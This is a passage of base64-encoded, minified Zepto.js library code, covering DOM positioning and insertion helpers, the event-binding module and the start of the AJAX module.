bGFzcyhiKX0pfSk6dGhpc30sc2Nyb2xsVG9wOmZ1bmN0aW9uKGIpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGM9InNjcm9sbFRvcCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsVG9wOnRoaXNbMF0ucGFnZVlPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvcD1ifTpmdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG8odGhpcy5zY3JvbGxYLGIpfSl9LHNjcm9sbExlZnQ6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsTGVmdCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsTGVmdDp0aGlzWzBdLnBhZ2VYT2Zmc2V0OnRoaXMuZWFjaChjP2Z1bmN0aW9uKCl7dGhpcy5zY3JvbGxMZWZ0PWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyhiLHRoaXMuc2Nyb2xsWSl9KX0scG9zaXRpb246ZnVuY3Rpb24oKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGQ9dGhpcy5vZmZzZXQoKSxlPW8udGVzdChiWzBdLm5vZGVOYW1lKT97dG9wOjAsbGVmdDowfTpiLm9mZnNldCgpO3JldHVybiBkLnRvcC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLXRvcCIpKXx8MCxkLmxlZnQtPXBhcnNlRmxvYXQoYyhhKS5jc3MoIm1hcmdpbi1sZWZ0IikpfHwwLGUudG9wKz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItdG9wLXdpZHRoIikpfHwwLGUubGVmdCs9cGFyc2VGbG9hdChjKGJbMF0pLmNzcygiYm9yZGVyLWxlZnQtd2lkdGgiKSl8fDAse3RvcDpkLnRvcC1lLnRvcCxsZWZ0OmQubGVmdC1lLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8aC5ib2R5O3doaWxlKGEmJiFvLnRlc3QoYS5ub2RlTmFtZSkmJmMoYSkuY3NzKCJwb3NpdGlvbiIpPT0ic3RhdGljIilhPWEub2Zmc2V0UGFyZW50O3JldHVybiBhfSl9fSxjLmZuLmRldGFjaD1jLmZuLnJlbW92ZSxbIndpZHRoIiwiaGVpZ2h0Il0uZm9yRWFjaChmdW5jdGlvbihiKXt2YXIgZD1iLnJlcGxhY2UoLy4vLGZ1bmN0aW9uKGEpe3JldHVybiBhWzBdLnRvVXBwZXJDYXNlKCl9KTtjLmZuW2JdPWZ1bmN0aW9uKGUpe3ZhciBmLGc9dGhpc1swXTtyZXR1cm4gZT09PWE/SShnKT9nWyJpbm5lciIrZF06SihnKT9nLmRvY3VtZW50RWxlbWVudFsic2Nyb2xsIitkXTooZj10aGlzLm9mZnNldCgpKSYmZltiXTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7Zz1jKHRoaXMpLGcuY3NzKGIsWCh0aGlzLGUsYSxnW2JdKCkpKX0pfX0pLHIuZm9yRWFjaChmdW5jdGlvbihhLGIpe3ZhciBkPWIlMjtjLmZuW2FdPWZ1bmN0aW9uKCl7dmFyIGEsZT1jLm1hcChhcmd1bWVudHMsZnVuY3Rpb24oYil7cmV0dXJuIGE9RyhiKSxhPT0ib2JqZWN0Inx8YT09ImFycmF5Inx8Yj09bnVsbD9iOkIuZnJhZ21lbnQoYil9KSxmLGc9dGhpcy5sZW5ndGg+MTtyZXR1cm4gZS5sZW5ndGg8MT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihhLGgpe2Y9ZD9oOmgucGFyZW50Tm9kZSxoPWI9PTA/aC5uZXh0U2libGluZzpiPT0xP2guZmlyc3RDaGlsZDpiPT0yP2g6bnVsbCxlLmZvckVhY2goZnVuY3Rpb24oYSl7aWYoZylhPWEuY2xvbmVOb2RlKCEwKTtlbHNlIGlmKCFmKXJldHVybiBjKGEpLnJlbW92ZSgpO18oZi5pbnNlcnRCZWZvcmUoYSxoKSxmdW5jdGlvbihhKXthLm5vZGVOYW1lIT1udWxsJiZhLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk9PT0iU0NSSVBUIiYmKCFhLnR5cGV8fGEudHlwZT09PSJ0ZXh0L2phdmFzY3JpcHQiKSYmIWEuc3JjJiZ3aW5kb3cuZXZhbC5jYWxsKHdpbmRvdyxhLmlubmVySFRNTCl9KX0pfSl9LGMuZm5bZD9hKyJUbyI6Imluc2VydCIrKGI/IkJlZm9yZSI6IkFmdGVyIildPWZ1bmN0aW9uKGIpe3JldHVybiBjKGIpW2FdKHRoaXMpLHRoaXN9fSksQi5aLnByb3RvdHlwZT1jLmZuLEIudW5pcT1ELEIuZGVzZXJpYWxpemVWYWx1ZT0kLGMuemVwdG89QixjfSgpO3dpbmRvdy5aZXB0bz1aZXB0byx3aW5kb3cuJD09PXVuZGVmaW5lZCYmKHdpbmRvdy4kPVplcHRvKSxmdW5jdGlvbihhKXtmdW5jdGlvbiBtKGEpe3JldHVybiBhLl96aWR8fChhLl96aWQ9YysrKX1mdW5jdGlvbiBuKGEsYixjLGQpe2I9byhiKTtpZihiLm5zKXZhciBlPXAoYi5ucyk7cmV0dXJuKGhbbShhKV18fFtdKS5maWx0ZXIoZnVuY3Rpb24oYSl7cmV0dXJuIGEmJighYi5lfHxhLmU9PWIuZSkmJighYi5uc3x8ZS50ZXN0KGEubnMpKSYmKCFjfHxtKGEuZm4pPT09bShjKSkmJighZHx8YS5zZWw9PWQpfSl9ZnVuY3Rpb24gbyhhKXt2YXIgYj0oIiIrYSkuc3BsaXQoIi4iKTtyZXR1cm57ZTpiWzBdLG5zOmIuc2xpY2UoMSkuc29ydCgpLmpvaW4oIiAiKX19ZnVuY3Rpb24gcChhKXtyZXR1cm4gbmV3IFJlZ0V4cCgiKD86XnwgKSIrYS5yZXBsYWNlKCIgIiwiIC4qID8iKSsiKD86IHwkKSIpfWZ1bmN0aW9uIHEoYSxiKXtyZXR1cm4gYS5kZWwmJiFqJiZhLmUgaW4ga3x8ISFifWZ1bmN0aW9uIHIoYSl7cmV0dXJuIGxbYV18fGomJmtbYV18fGF9ZnVuY3Rpb24gcyhiLGMsZSxmLGcsaSxqKXt2YXIgaz1tKGIpLG49aFtrXXx8KGhba109W10pO2Muc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihjKXtpZihjPT0icmVhZHkiKXJldHVybiBhKGRvY3VtZW50KS5yZWFkeShlKTt2YXIgaD1vKGMpO2guZm49ZSxoLnNlbD1nLGguZSBpbiBsJiYoZT1mdW5jdGlvbihiKXt2YXIgYz1iLnJlbGF0ZWRUYXJnZXQ7aWYoIWN8fGMhPT10aGlzJiYhYS5jb250YWlucyh0aGlzLGMpKXJldHVybiBoLmZuLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGguZGVsPWk7dmFyIGs9aXx8ZTtoLnByb3h5PWZ1bmN0aW9uKGEpe2E9eShhKTtpZihhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuO2EuZGF0YT1mO3ZhciBjPWsuYXBwbHkoYixhLl9hcmdzPT1kP1thXTpbYV0uY29uY2F0KGEuX2FyZ3MpKTtyZXR1cm4gYz09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpLGN9LGguaT1uLmxlbmd0aCxuLnB1c2goaCksImFkZEV2ZW50TGlzdGVuZXIiaW4gYiYmYi5hZGRFdmVudExpc3RlbmVyKHIoaC5lKSxoLnByb3h5LHEoaCxqKSl9KX1mdW5jdGlvbiB0KGEsYixjLGQsZSl7dmFyIGY9bShhKTsoYnx8IiIpLnNwbGl0KC9ccy8pLmZvckVhY2goZnVuY3Rpb24oYil7bihhLGIsYyxkKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2RlbGV0ZSBoW2ZdW2IuaV0sInJlbW92ZUV2ZW50TGlzdGVuZXIiaW4gYSYmYS5yZW1vdmVFdmVudExpc3RlbmVyKHIoYi5lKSxiLnByb3h5LHEoYixlKSl9KX0pfWZ1bmN0aW9uIHkoYixjKXtpZihjfHwhYi5pc0RlZmF1bHRQcmV2ZW50ZWQpe2N8fChjPWIpLGEuZWFjaCh4LGZ1bmN0aW9uKGEsZCl7dmFyIGU9Y1thXTtiW2FdPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbZF09dSxlJiZlLmFwcGx5KGMsYXJndW1lbnRzKX0sYltkXT12fSk7aWYoYy5kZWZhdWx0UHJldmVudGVkIT09ZD9jLmRlZmF1bHRQcmV2ZW50ZWQ6InJldHVyblZhbHVlImluIGM/Yy5yZXR1cm5WYWx1ZT09PSExOmMuZ2V0UHJldmVudERlZmF1bHQmJmMuZ2V0UHJldmVudERlZmF1bHQoKSliLmlzRGVmYXVsdFByZXZlbnRlZD11fXJldHVybiBifWZ1bmN0aW9uIHooYSl7dmFyIGIsYz17b3JpZ2luYWxFdmVudDphfTtmb3IoYiBpbiBhKSF3LnRlc3QoYikmJmFbYl0hPT1kJiYoY1tiXT1hW2JdKTtyZXR1cm4geShjLGEpfXZhciBiPWEuemVwdG8ucXNhLGM9MSxkLGU9QXJyYXkucHJvdG90eXBlLnNsaWNlLGY9YS5pc0Z1bmN0aW9uLGc9ZnVuY3Rpb24oYSl7cmV0dXJuIHR5cGVvZiBhPT0ic3RyaW5nIn0saD17fSxpPXt9LGo9Im9uZm9jdXNpbiJpbiB3aW5kb3csaz17Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sbD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9O2kuY2xpY2s9aS5tb3VzZWRvd249aS5tb3VzZXVwPWkubW91c2Vtb3ZlPSJNb3VzZUV2ZW50cyIsYS5ldmVudD17YWRkOnMscmVtb3ZlOnR9LGEucHJveHk9ZnVuY3Rpb24oYixjKXtpZihmKGIpKXt2YXIgZD1mdW5jdGlvbigpe3JldHVybiBiLmFwcGx5KGMsYXJndW1lbnRzKX07cmV0dXJuIGQuX3ppZD1tKGIpLGR9aWYoZyhjKSlyZXR1cm4gYS5wcm94eShiW2NdLGIpO3Rocm93IG5ldyBUeXBlRXJyb3IoImV4cGVjdGVkIGZ1bmN0aW9uIil9LGEuZm4uYmluZD1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxiLGMpfSxhLmZuLnVuYmluZD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLGIpfSxhLmZuLm9uZT1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfTt2YXIgdT1mdW5jdGlvbigpe3JldHVybiEwfSx2PWZ1bmN0aW9uKCl7cmV0dXJuITF9LHc9L14oW0EtWl18cmV0dXJuVmFsdWUkfGxheWVyW1hZXSQpLyx4PXtwcmV2ZW50RGVmYXVsdDoiaXNEZWZhdWx0UHJldmVudGVkIixzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ImlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkIixzdG9wUHJvcGFnYXRpb246ImlzUHJvcGFnYXRpb25TdG9wcGVkIn07YS5mbi5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYixhLGMpfSxhLmZuLnVuZGVsZWdhdGU9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiB0aGlzLm9mZihiLGEsYyl9LGEuZm4ubGl2ZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLmRlbGVnYXRlKHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxhLmZuLmRpZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLnVuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4ub249ZnVuY3Rpb24oYixjLGgsaSxqKXt2YXIgayxsLG09dGhpcztpZihiJiYhZyhiKSlyZXR1cm4gYS5lYWNoKGIsZnVuY3Rpb24oYSxiKXttLm9uKGEsYyxoLGIsail9KSxtOyFnKGMpJiYhZihpKSYmaSE9PSExJiYoaT1oLGg9YyxjPWQpO2lmKGYoaCl8fGg9PT0hMSlpPWgsaD1kO3JldHVybiBpPT09ITEmJihpPXYpLG0uZWFjaChmdW5jdGlvbihkLGYpe2omJihrPWZ1bmN0aW9uKGEpe3JldHVybiB0KGYsYS50eXBlLGkpLGkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSksYyYmKGw9ZnVuY3Rpb24oYil7dmFyIGQsZz1hKGIudGFyZ2V0KS5jbG9zZXN0KGMsZikuZ2V0KDApO2lmKGcmJmchPT1mKXJldHVybiBkPWEuZXh0ZW5kKHooYikse2N1cnJlbnRUYXJnZXQ6ZyxsaXZlRmlyZWQ6Zn0pLChrfHxpKS5hcHBseShnLFtkXS5jb25jYXQoZS5jYWxsKGFyZ3VtZW50cywxKSkpfSkscyhmLGIsaSxoLGMsbHx8ayl9KX0sYS5mbi5vZmY9ZnVuY3Rpb24oYixjLGUpe3ZhciBoPXRoaXM7cmV0dXJuIGImJiFnKGIpPyhhLmVhY2goYixmdW5jdGlvbihhLGIpe2gub2ZmKGEsYyxiKX0pLGgpOighZyhjKSYmIWYoZSkmJmUhPT0hMSYmKGU9YyxjPWQpLGU9PT0hMSYmKGU9diksaC5lYWNoKGZ1bmN0aW9uKCl7dCh0aGlzLGIsZSxjKX0pKX0sYS5mbi50cmlnZ2VyPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9ZyhiKXx8YS5pc1BsYWluT2JqZWN0KGIpP2EuRXZlbnQoYik6eShiKSxiLl9hcmdzPWMsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ImRpc3BhdGNoRXZlbnQiaW4gdGhpcz90aGlzLmRpc3BhdGNoRXZlbnQoYik6YSh0aGlzKS50cmlnZ2VySGFuZGxlcihiLGMpfSl9LGEuZm4udHJpZ2dlckhhbmRsZXI9ZnVuY3Rpb24oYixjKXt2YXIgZCxlO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZixoKXtkPXooZyhiKT9hLkV2ZW50KGIpOmIpLGQuX2FyZ3M9YyxkLnRhcmdldD1oLGEuZWFjaChuKGgsYi50eXBlfHxiKSxmdW5jdGlvbihhLGIpe2U9Yi5wcm94eShkKTtpZihkLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuITF9KX0pLGV9LCJmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGVycm9yIi5zcGxpdCgiICIpLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLnRyaWdnZXIoYil9fSksWyJmb2N1cyIsImJsdXIiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EuZm5bYl09ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5iaW5kKGIsYSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYl0oKX1jYXRjaChhKXt9fSksdGhpc319KSxhLkV2ZW50PWZ1bmN0aW9uKGEsYil7ZyhhKXx8KGI9YSxhPWIudHlwZSk7dmFyIGM9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoaVthXXx8IkV2ZW50cyIpLGQ9ITA7aWYoYilmb3IodmFyIGUgaW4gYillPT0iYnViYmxlcyI/ZD0hIWJbZV06Y1tlXT1iW2VdO3JldHVybiBjLmluaXRFdmVudChhLGQsITApLHkoYyl9fShaZXB0byksZnVuY3Rpb24oJCl7ZnVuY3Rpb24gdHJpZ2dlckFuZFJldHVybihhLGIsYyl7dmFyIGQ9JC5FdmVudChiKTtyZXR1cm4gJChhKS50cmlnZ2VyKGQsYyksIWQuaXNEZWZhdWx0UHJldmVudGVkKCl9ZnVuY3Rpb24gdHJpZ2dlckdsb2JhbChhLGIsYyxkKXtpZihhLmdsb2JhbClyZXR1cm4gdHJpZ2dlckFuZFJldHVybihifHxkb2N1bWVudCxjLGQpfWZ1bmN0aW9uIGFqYXhTdGFydChhKXthLmdsb2JhbCYmJC5hY3RpdmUrKz09PTAmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RhcnQiKX1mdW5jdGlvbiBhamF4U3RvcChhKXthLmdsb2JhbCYmIS0tJC5hY3RpdmUmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RvcCIpfWZ1bmN0aW9uIGFqYXhCZWZvcmVTZW5kKGEsYil7dmFyIGM9Yi5jb250ZXh0O2lmKGIuYmVmb3JlU2VuZC5jYWxsKGMsYSxiKT09PSExfHx0cmlnZ2VyR2xvYmFsKGIsYywiYWpheEJlZm9yZVNlbmQiLFthLGJdKT09PSExKXJldHVybiExO3RyaWdnZXJHbG9iYWwoYixjLCJhamF4U2VuZCIsW2EsYl0pfWZ1bmN0aW9uIGFqYXhTdWNjZXNzKGEsYixjLGQpe3ZhciBlPWMuY29udGV4dCxmPSJzdWNjZXNzIjtjLnN1Y2Nlc3MuY2FsbChlLGEsZixiKSxkJiZkLnJlc29sdmVXaXRoKGUsW2EsZixiXSksdHJpZ2dlckdsb2JhbChjLGUsImFqYXhTdWNjZXNzIixbYixjLGFdKSxhamF4Q29tcGxldGUoZixiLGMpfWZ1bmN0aW9uIGFqYXhFcnJvcihhLGIsYyxkLGUpe3ZhciBmPWQuY29udGV4dDtkLmVycm9yLmNhbGwoZixjLGIsYSksZSYmZS5yZWplY3RXaXRoKGYsW2MsYixhXSksdHJpZ2dlckdsb2JhbChkLGYsImFqYXhFcnJvciIsW2MsZCxhfHxiXSksYWpheENvbXBsZXRlKGIsYyxkKX1mdW5jdGlvbiBhamF4Q29tcGxldGUoYSxiLGMpe3ZhciBkPWMuY29udGV4dDtjLmNvbXBsZXRlLmNhbGwoZCxiLGEpLHRyaWdnZXJHbG9iYWwoYyxkLCJhamF4Q29tcGxldGUiLFtiLGNdKSxhamF4U3RvcChjKX1mdW5jdGlvbiBlbXB0eSgpe31mdW5jdGlvbiBtaW1lVG9EYXRhVHlwZShhKXtyZXR1cm4gYSYmKGE9YS5zcGxpdCgiOyIsMilbMF0pLGEmJihhPT1odG1sVHlwZT8iaHRtbCI6YT09anNvblR5cGU/Impzb24iOnNjcmlwdFR5cGVSRS50ZXN0KGEpPyJzY3JpcHQiOnhtbFR5cGVSRS50ZXN0KGEpJiYieG1sIil8fCJ0ZXh0In1mdW5jdGlvbiBhcHBlbmRRdWVyeShhLGIpe3JldHVybiBiPT0iIj9hOihhKyImIitiKS5yZXBsYWNlKC9bJj9dezEsMn0vLCI/Iil9ZnVuY3Rpb24gc2VyaWFsaXplRGF0YShhKXthLnByb2Nlc3NEYXRhJiZhLmRhdGEmJiQudHlwZShhLmRhdGEpIT0ic3RyaW5nIiYmKGEuZGF0YT0kLnBhcmFtKGEuZGF0YSxhLnRyYWRpdGlvbmFsKSksYS5kYXRhJiYoIWEudHlwZXx8YS50eXBlLnRvVXBwZXJDYXNlKCk9PSJHRVQiKSYmKGEudXJsPWFwcGVuZFF1ZXJ5KGEudXJsLGEuZGF0YSksYS5kYXRhPXVuZGVmaW5lZCl9ZnVuY3Rpb24gcGFyc2VBcmd1bWVudHMoYSxiLGMsZCl7dmFyIGU9ISQuaXNGdW5jdGlvbihiKTtyZXR1cm57dXJsOmEsZGF0YTplP2I6dW5kZWZpbmVkLHN1Y2Nlc3M6ZT8kLmlzRnVuY3Rpb24oYyk/Yzp1bmRlZmluZWQ6YixkYXRhVHlwZTplP2R8fGM6Y319ZnVuY3Rpb24gc2VyaWFsaXplKGEsYixjLGQpe3ZhciBlLGY9JC5pc0FycmF5KGIpLGc9JC5pc1BsYWluT2JqZWN0KGIpOyQuZWFjaChiLGZ1bmN0aW9uKGIsaCl7ZT0kLnR5cGUoaCksZCYmKGI9Yz9kOmQrIlsiKyhnfHxlPT0ib2JqZWN0Inx8ZT09ImFycmF5Ij9iOiIiKSsiXSIpLCFkJiZmP2EuYWRkKGgubmFtZSxoLnZhbHVlKTplPT0iYXJyYXkifHwhYyYmZT09Im9iamVjdCI/c2VyaWFsaXplKGEsaCxjLGIpOmEuYWRkKGIsaCl9KX12YXIganNvbnBJRD0wLGRvY3VtZW50PXdpbmRvdy5kb2N1bWVudCxrZXksbmFtZSxyc2NyaXB0PS88c2NyaXB0XGJbXjxdKig/Oig/ITxcL3NjcmlwdD4pPFtePF0qKSo8XC9zY3JpcHQ+L2dpLHNjcmlwdFR5cGVSRT0vXig/OnRleHR8YXBwbGljYXRpb24pXC9qYXZhc2NyaXB0L2kseG1sVHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL3htbC9pLGpzb25UeXBlPSJhcHBsaWNhdGlvbi9qc29uIixodG1sVHlwZT0idGV4dC9odG1sIixibGFua1JFPS9eXHMqJC87JC5hY3RpdmU9MCwkLmFqYXhKU09OUD1mdW5jdGlvbihhLGIpe2lmKCJ0eXBlImluIGEpe3ZhciBjPWEuanNvbnBDYWxsYmFjayxkPSgkLmlzRnVuY3Rpb24oYyk/YygpOmMpfHwianNvbnAiKyArK2pzb25wSUQsZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxmPXdpbmRvd1tkXSxnLGg9ZnVuY3Rpb24oYSl7JChlKS50cmlnZ2VySGFuZGxlcigiZXJyb3IiLGF8fCJhYm9ydCIpfSxpPXthYm9ydDpofSxqO3JldHVybiBiJiZiLnByb21pc2UoaSksJChlKS5vbigibG9hZCBlcnJvciIsZnVuY3Rpb24oYyxoKXtjbGVhclRpbWVvdXQoaiksJChlKS5vZmYoKS5yZW1vdmUoKSxjLnR5cGU9PSJlcnJvciJ8fCFnP2FqYXhFcnJvcihudWxsLGh8fCJlcnJvciIsaSxhLGIpOmFqYXhTdWNjZXNzKGdbMF0saSxhLGIpLHdpbmRvd1tkXT1mLGcmJiQuaXNGdW5jdGlvbihmKSYmZihnWzBdKSxmPWc9dW5kZWZpbmVkfSksYWpheEJlZm9yZVNlbmQoaSxhKT09PSExPyhoKCJhYm9ydCIpLGkpOih3aW5kb3dbZF09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZS5zcmM9YS51cmwucmVwbGFjZSgvPVw/LywiPSIrZCksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKSxhLnRpbWVvdXQ+MCYmKGo9c2V0VGltZW91dChmdW5jdGlvbigpe2goInRpbWVvdXQiKX0sYS50aW1lb3V0KSksaSl9cmV0dXJuICQuYWpheChhKX0sJC5hamF4U2V0dGluZ3M9e3R5cGU6IkdFVCIsYmVmb3JlU2VuZDplbXB0eSxzdWNjZXNzOmVtcHR5LGVycm9yOmVtcHR5LGNvbXBsZXRlOmVtcHR5LGNvbnRleHQ6bnVsbCxnbG9iYWw6ITAseGhyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyB3aW5kb3cuWE1MSHR0cFJlcXVlc3R9LGFjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiLGpzb246anNvblR5cGUseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixodG1sOmh0bWxUeXBlLHRleHQ6InRleHQvcGxhaW4ifSxjcm9zc0RvbWFpbjohMSx0aW1lb3V0OjAscHJvY2Vzc0RhdGE6ITAsY2FjaGU6ITB9LCQuYWpheD1mdW5jdGlvbihvcHRpb25zKXt2YXIgc2V0dGluZ3M9JC5leHRlbmQoe30sb3B0aW9uc3x8e30pLGRlZmVycmVkPSQuRGVmZXJyZWQmJiQuRGVmZXJyZWQoKTtmb3Ioa2V5IGluICQuYWpheFNldHRpbmdzKXNldHRpbmdzW2tleV09PT11bmRlZmluZWQmJihzZXR0aW5nc1trZXldPSQuYWpheFNldHRpbmdzW2tleV0pO2FqYXhTdGFydChzZXR0aW5ncyksc2V0dGluZ3MuY3Jvc3NEb21haW58fChzZXR0aW5ncy5jcm9zc0RvbWFpbj0vXihbXHctXSs6KT9cL1wvKFteXC9dKykvLnRlc3Qoc2V0dGluZ3MudXJsKSYmUmVnRXhwLiQyIT13aW5kb3cubG9jYXRpb24uaG9zdCksc2V0dGluZ3MudXJsfHwoc2V0dGluZ3MudXJsPXdpbmRvdy5sb2NhdGlvbi50b1N0cmluZygpKSxzZXJpYWxpemVEYXRhKHNldHRpbmdzKSxzZXR0aW5ncy5jYWNoZT09PSExJiYoc2V0dGluZ3MudXJsPWFwcGVuZFF1ZXJ5KHNldHRpbmdzLnVybCwiXz0iK0RhdGUubm93KCkpKTt2YXIgZGF0YVR5cGU9c2V0dGluZ3MuZGF0YVR5cGUsaGFzUGxhY2Vob2xkZXI9Lz1cPy8udGVzdChzZXR0aW5ncy51cmwpO2lmKGRhdGFUeXBlPT0ianNvbnAifHxoYXNQbGFjZWhvbGRlcilyZXR1cm4gaGFzUGxhY2Vob2xkZXJ8fChzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLHNldHRpbmdzLmpzb25wP3NldHRpbmdzLmpzb25wKyI9PyI6c2V0dGluZ3MuanNvbnA9PT0hMT8iIjoiY2FsbGJhY2s9PyIpKSwkLmFqYXhKU09OUChzZXR0aW5ncyxkZWZlcnJlZCk7dmFyIG1pbWU9c2V0dGluZ3MuYWNjZXB0c1tkYXRhVHlwZV0saGVhZGVycz17fSxzZXRIZWFkZXI9ZnVuY3Rpb24oYSxiKXtoZWFkZXJzW2EudG9Mb3dlckNhc2UoKV09W2EsYl19LHByb3RvY29sPS9eKFtcdy1dKzopXC9cLy8udGVzdChzZXR0aW5ncy51cmwpP1JlZ0V4cC4kMTp3aW5kb3cubG9jYXRpb24ucHJvdG9jb2wseGhyPXNldHRpbmdzLnhocigpLG5hdGl2ZVNldEhlYWRlcj14aHIuc2V0UmVxdWVzdEhlYWRlcixhYm9ydFRpbWVvdXQ7ZGVmZXJyZWQmJmRlZmVycmVkLnByb21pc2UoeGhyKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8c2V0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKSxzZXRIZWFkZXIoIkFjY2VwdCIsbWltZXx8IiovKiIpO2lmKG1pbWU9c2V0dGluZ3MubWltZVR5cGV8fG1pbWUpbWltZS5pbmRleE9mKCIsIik+LTEmJihtaW1lPW1pbWUuc3BsaXQoIiwiLDIpWzBdKSx4aHIub3ZlcnJpZGVNaW1lVHlwZSYmeGhyLm92ZXJyaWRlTWltZVR5cGUobWltZSk7KHNldHRpbmdzLmNvbnRlbnRUeXBlfHxzZXR0aW5ncy5jb250ZW50VHlwZSE9PSExJiZzZXR0aW5ncy5kYXRhJiZzZXR0aW5ncy50eXBlLnRvVXBwZXJDYXNlKCkhPSJHRVQiKSYmc2V0SGVhZGVyKCJDb250ZW50LVR5cGUiLHNldHRpbmdzLmNvbnRlbnRUeXBlfHwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7aWYoc2V0dGluZ3MuaGVhZGVycylmb3IobmFtZSBpbiBzZXR0aW5ncy5oZWFkZXJzKXNldEhlYWRlcihuYW1lLHNldHRpbmdzLmhlYWRlcnNbbmFtZV0pO3hoci5zZXRSZXF1ZXN0SGVhZGVyPXNldEhlYWRlcix4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHksY2xlYXJUaW1lb3V0KGFib3J0VGltZW91dCk7dmFyIHJlc3VsdCxlcnJvcj0hMTtpZih4aHIuc3RhdHVzPj0yMDAmJnhoci5zdGF0dXM8MzAwfHx4aHIuc3RhdHVzPT0zMDR8fHhoci5zdGF0dXM9PTAmJnByb3RvY29sPT0iZmlsZToiKXtkYXRhVHlwZT1kYXRhVHlwZXx8bWltZVRvRGF0YVR5cGUoc2V0dGluZ3MubWltZVR5cGV8fHhoci5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpLHJlc3VsdD14aHIucmVzcG9uc2VUZXh0O3RyeXtkYXRhVHlwZT09InNjcmlwdCI/KDEsZXZhbCkocmVzdWx0KTpkYXRhVHlwZT09InhtbCI/cmVzdWx0PXhoci5yZXNwb25zZVhNTDpkYXRhVHlwZT09Impzb24iJiYocmVzdWx0PWJsYW5rUkUudGVzdChyZXN1bHQpP251bGw6JC5wYXJzZUpTT04ocmVzdWx0KSl9Y2F0Y2goZSl7ZXJyb3I9ZX1lcnJvcj9hamF4RXJyb3IoZXJyb3Is